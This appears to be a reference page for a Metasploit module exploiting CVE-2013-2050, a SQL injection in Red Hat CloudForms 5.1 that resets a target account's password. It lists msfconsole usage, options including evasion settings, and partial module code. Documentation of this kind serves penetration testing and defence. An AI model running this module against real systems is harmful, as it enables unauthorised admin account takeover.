Red Hat CloudForms Management Engine 5.1 miq_policy/explorer SQL Injection - Metasploit


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Module Overview


Name: Red Hat CloudForms Management Engine 5.1 miq_policy/explorer SQL Injection
Module: auxiliary/admin/http/cfme_manageiq_evm_pass_reset
Source code: modules/auxiliary/admin/http/cfme_manageiq_evm_pass_reset.rb
Disclosure date: 2013-11-12
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2013-2050

This module exploits a SQL injection vulnerability in the "explorer" action of "miq_policy" controller of the Red Hat CloudForms Management Engine 5.1 (ManageIQ Enterprise Virtualization Manager 5.0 and earlier) by changing the password of the target account to the specified password.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/admin/http/cfme_manageiq_evm_pass_reset
msf auxiliary(cfme_manageiq_evm_pass_reset) > show targets
    ... a list of targets ...
msf auxiliary(cfme_manageiq_evm_pass_reset) > set TARGET target-id
msf auxiliary(cfme_manageiq_evm_pass_reset) > show options
    ... show and set options ...
msf auxiliary(cfme_manageiq_evm_pass_reset) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

  • USERNAME: Your username

  • PASSWORD: Your password

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Msfconsole Usage


Here is how the admin/http/cfme_manageiq_evm_pass_reset auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/http/cfme_manageiq_evm_pass_reset

msf6 auxiliary(admin/http/cfme_manageiq_evm_pass_reset) > show info

       Name: Red Hat CloudForms Management Engine 5.1 miq_policy/explorer SQL Injection
     Module: auxiliary/admin/http/cfme_manageiq_evm_pass_reset
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-11-12

Provided by:
  Ramon de C Valle <[email protected]>

Check supported:
  No

Basic options:
  Name            Current Setting  Required  Description
  ----            ---------------  --------  -----------
  HTTP_METHOD     POST             yes       HTTP Method (Accepted: GET, POST)
  PASSWORD                         yes       Your password
  Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                           yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT           443              yes       The target port (TCP)
  SSL             true             no        Negotiate SSL/TLS for outgoing connections
  TARGETPASSWORD  smartvm          yes       The password of the target account
  TARGETURI       /                yes       The path to the application
  TARGETUSERNAME  admin            yes       The username of the target account
  USERNAME                         yes       Your username
  VHOST                            no        HTTP server virtual host

Description:
  This module exploits a SQL injection vulnerability in the "explorer" 
  action of "miq_policy" controller of the Red Hat CloudForms 
  Management Engine 5.1 (ManageIQ Enterprise Virtualization Manager 
  5.0 and earlier) by changing the password of the target account to 
  the specified password.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2013-2050
  https://cwe.mitre.org/data/definitions/89.html
  https://bugzilla.redhat.com/show_bug.cgi?id=959062

Module Options


This is a complete list of options available in the admin/http/cfme_manageiq_evm_pass_reset auxiliary module:

msf6 auxiliary(admin/http/cfme_manageiq_evm_pass_reset) > show options

Module options (auxiliary/admin/http/cfme_manageiq_evm_pass_reset):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   HTTP_METHOD     POST             yes       HTTP Method (Accepted: GET, POST)
   PASSWORD                         yes       Your password
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                           yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT           443              yes       The target port (TCP)
   SSL             true             no        Negotiate SSL/TLS for outgoing connections
   TARGETPASSWORD  smartvm          yes       The password of the target account
   TARGETURI       /                yes       The path to the application
   TARGETUSERNAME  admin            yes       The username of the target account
   USERNAME                         yes       Your username
   VHOST                            no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the admin/http/cfme_manageiq_evm_pass_reset auxiliary module:

msf6 auxiliary(admin/http/cfme_manageiq_evm_pass_reset) > show advanced

Module advanced options (auxiliary/admin/http/cfme_manageiq_evm_pass_reset):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the admin/http/cfme_manageiq_evm_pass_reset module can do:

msf6 auxiliary(admin/http/cfme_manageiq_evm_pass_reset) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the admin/http/cfme_manageiq_evm_pass_reset auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/http/cfme_manageiq_evm_pass_reset) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No response from remote host


Here is a relevant code snippet related to the "No response from remote host" error message:

77:	        'user_password' => datastore['TARGETPASSWORD']
78:	      }
79:	    )
80:	
81:	    if res.nil?
82:	      print_error('No response from remote host')
83:	      return false
84:	    end
85:	
86:	    if res.body =~ /"Error: (.*)"/
87:	      print_error($1)

Error: (.*)


Here is a relevant code snippet related to the "Error: (.*)" error message:

81:	    if res.nil?
82:	      print_error('No response from remote host')
83:	      return false
84:	    end
85:	
86:	    if res.body =~ /"Error: (.*)"/
87:	      print_error($1)
88:	      false
89:	    else
90:	      true
91:	    end

No response from remote host


Here is a relevant code snippet related to the "No response from remote host" error message:

101:	        'user_password' => datastore['PASSWORD']
102:	      }
103:	    )
104:	
105:	    if res.nil?
106:	      print_error('No response from remote host')
107:	      return
108:	    end
109:	
110:	    if res.body =~ /"Error: (.*)"/
111:	      print_error($1)

Error: (.*)


Here is a relevant code snippet related to the "Error: (.*)" error message:

105:	    if res.nil?
106:	      print_error('No response from remote host')
107:	      return
108:	    end
109:	
110:	    if res.body =~ /"Error: (.*)"/
111:	      print_error($1)
112:	      return
113:	    else
114:	      session = $1 if res.get_cookies =~ /_vmdb_session=(\h*)/
115:	

Failed to retrieve the current session id


Here is a relevant code snippet related to the "Failed to retrieve the current session id" error message:

112:	      return
113:	    else
114:	      session = $1 if res.get_cookies =~ /_vmdb_session=(\h*)/
115:	
116:	      if session.nil?
117:	        print_error('Failed to retrieve the current session id')
118:	        return
119:	      end
120:	    end
121:	
122:	    # Newer versions don't accept POST requests.

Failed to reset password


Here is a relevant code snippet related to the "Failed to reset password" error message:

132:	
133:	    if password_reset?
134:	      print_good('Password reset successfully')
135:	      return
136:	    else
137:	      print_error('Failed to reset password')
138:	    end
139:	
140:	    print_status("Sending (older-schema) password-reset request to #{target_url('miq_policy', 'explorer')}...")
141:	    send_request_cgi(
142:	      'cookie' => "_vmdb_session=#{session}",

Failed to reset password


Here is a relevant code snippet related to the "Failed to reset password" error message:

148:	    )
149:	
150:	    if password_reset?
151:	      print_good('Password reset successfully')
152:	    else
153:	      print_error('Failed to reset password')
154:	    end
155:	  end
156:	
157:	  def target_url(*args)
158:	    (ssl ? 'https' : 'http') +

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References


See Also


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Authors


Ramon de C Valle

Version


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